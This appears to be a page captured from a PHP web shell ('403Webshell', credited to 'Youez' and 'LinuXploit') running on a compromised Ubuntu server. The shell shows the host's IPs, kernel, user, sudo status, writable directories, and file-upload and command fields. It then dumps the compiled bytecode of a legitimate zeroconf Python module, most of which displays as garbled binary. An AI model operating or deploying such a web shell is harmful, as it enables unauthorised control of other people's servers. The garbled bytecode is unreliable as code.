403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/zeroconf/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/zeroconf/__pycache__/_engine.cpython-312.pyc
�

�؆e���dZddlZddlZddlZddlZddlmZmZmZm	Z	ddl
mZddlm
Z
mZddlmZddlmZerdd	lmZdd
lmZddlmZmZdZGd
�d�Zy)a� Multicast DNS Service Discovery for Python, v0.14-wmcbrine
    Copyright 2003 Paul Scott-Murphy, 2014 William McBrine

    This module provides a framework for the use of DNS Service Discovery
    using IP multicast.

    This library is free software; you can redistribute it and/or
    modify it under the terms of the GNU Lesser General Public
    License as published by the Free Software Foundation; either
    version 2.1 of the License, or (at your option) any later version.

    This library is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
    Lesser General Public License for more details.

    You should have received a copy of the GNU Lesser General Public
    License along with this library; if not, write to the Free Software
    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301
    USA
�N)�
TYPE_CHECKING�List�Optional�cast�)�RecordUpdate)�get_running_loop�run_coro_with_timeout)�current_time_millis)�_CACHE_CLEANUP_INTERVAL)�Zeroconf)�
AsyncListener)�_WrappedTransport�make_wrapped_transporti�c��eZdZdZdZdddeejdeejddfd	�Zd
e	jdeejddfd�Z
deejddfd
�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zy)�AsyncEnginez*An engine wraps sockets in the event loop.�	�loop�zc�	protocols�readers�senders�
running_event�_listen_socket�_respond_sockets�_cleanup_timer�zeroconfr
�
listen_socket�respond_sockets�returnNc��d|_||_g|_g|_g|_d|_||_||_d|_y�Nr)�selfrrrs    �2/usr/lib/python3/dist-packages/zeroconf/_engine.py�__init__zAsyncEngine.__init__;sG��:>��	����.0���02���02���6:���+��� /���=A���r�loop_thread_readyc��||_tj�|_|jj	|j|��y�zSet up the instance.N)r�asyncio�Eventr�create_task�_async_setup)r#rr's   r$�setupzAsyncEngine.setupKs5����	�$�]�]�_����	�	���d�/�/�0A�B�Cr&c���K�|j�|j��d{���|j�J�|jj�|r|j�yy7�@�wr))�"_async_schedule_next_cache_cleanup�_async_create_endpointsr�set)r#r's  r$r-zAsyncEngine._async_setupQsa�����/�/�1��*�*�,�,�,��!�!�-�-�-������ ���!�!�#��	-�s�$A)�A'�AA)c	���K��j�J��j}g}g}�jr|j�j��jD](}||vr|j|�|j|��*|D]�}|j	�fd�|���d{���\}}�j
jt
t|���jjtt
tj|���||vs���jjtt
tj|�����y7���w)z%Create endpoints to send and receive.Nc�.��t�j�Sr")rr�r#s�r$�<lambda>z5AsyncEngine._async_create_endpoints.<locals>.<lambda>is���
�d�g�g�.�r&)�sock)
rr�appendr�create_datagram_endpointrrrrrr*�DatagramTransportr)r#r�reader_sockets�sender_sockets�s�	transport�protocols`      r$r1z#AsyncEngine._async_create_endpointsZs,������y�y�$�$�$��y�y����������!�!�$�"5�"5�6��&�&�	%�A���&��%�%�a�(��!�!�!�$�	%�
 �	h�A�(,�(E�(E�.�Q�)F�)�#��I�x�
�N�N�!�!�$�}�h�"?�@��L�L��� 6�t�G�<U�<U�W`�7a� b�c��N�"����#�#�$:�4��@Y�@Y�[d�;e�$f�g�	h�#�s�BE�E�A0E�AEc
��t�}|jjj|�|jjj||jjj|�D�cgc]}t||���c}�|jjjd�|j�ycc}w)zPeriodic cache cleanup.FN)
rr�question_history�async_expire�record_manager�
async_updates�cacher�async_updates_completer0)r#�now�records   r$�_async_cache_cleanupz AsyncEngine._async_cache_cleanupps���!�#����� � �-�-�c�2������,�,��T�W�W�]�]�=W�=W�X[�=\�]�6�,�v�v�.�]�	
�	
�����5�5�e�<��/�/�1��^s�7C
c��|j}|�J�|j|j�tz|j�|_y)z Schedule the next cache cleanup.N)r�call_at�timerrIr)r#rs  r$r0z.AsyncEngine._async_schedule_next_cache_cleanupzs=���y�y������"�l�l�4�9�9�;�9P�+P�RV�Rk�Rk�l��r&c��K�|j�tjd��d{���|j�J�|jj	�y7�-�w)z/Cancel and wait for the cleanup task to finish.rN)�_async_shutdownr*�sleepr�cancelr5s r$�_async_closezAsyncEngine._async_close�sM���������m�m�A�����"�"�.�.�.����"�"�$�	�s�)A�A�.Ac���|j�J�|jj�tj|j|j
�D]}|jj��y)z Shutdown transports and sockets.N)r�clear�	itertools�chainrrr>�close)r#�wrapped_transports  r$rNzAsyncEngine._async_shutdown�s[���!�!�-�-�-���� � �"�!*������t�|�|�!L�	0���'�'�-�-�/�	0r&c��|j�J�t�|jk(r|j�y|jj�syt	|j�|jt�y)z�Close from sync context.

        While it is not expected during normal operation,
        this function may raise EventLoopBlocked if the underlying
        call to `_async_close` cannot be completed.
        N)rr	rN�
is_runningr
rQ�_CLOSE_TIMEOUTr5s r$rVzAsyncEngine.close�s^���y�y�$�$�$������*�� � �"���y�y�#�#�%���d�/�/�1�4�9�9�n�Mr&)r N)�__name__�
__module__�__qualname__�__doc__�	__slots__r�socketrr%r*�AbstractEventLoop�	threadingr+r.r-r1rIr0rQrNrV�r&r$rr,s���4�
�I�B��B� ��
�
�.�B��f�m�m�,�	B�

�B� D�'�3�3�D��QZ�Q`�Q`�Ha�D�fj�D�$�H�Y�_�_�4M�$�RV�$�h�,2�m�%�0�Nr&r)r^r*rTr`rb�typingrrrr�_record_updater�_utils.asyncior	r
�_utils.timer�constr�_corer
�	_listenerr�
_transportrrrZrrcr&r$�<module>rlsK���,��
��6�6�(�C�,�*���%�A���pN�pNr&

Youez - 2016 - github.com/yon3zu
LinuXploit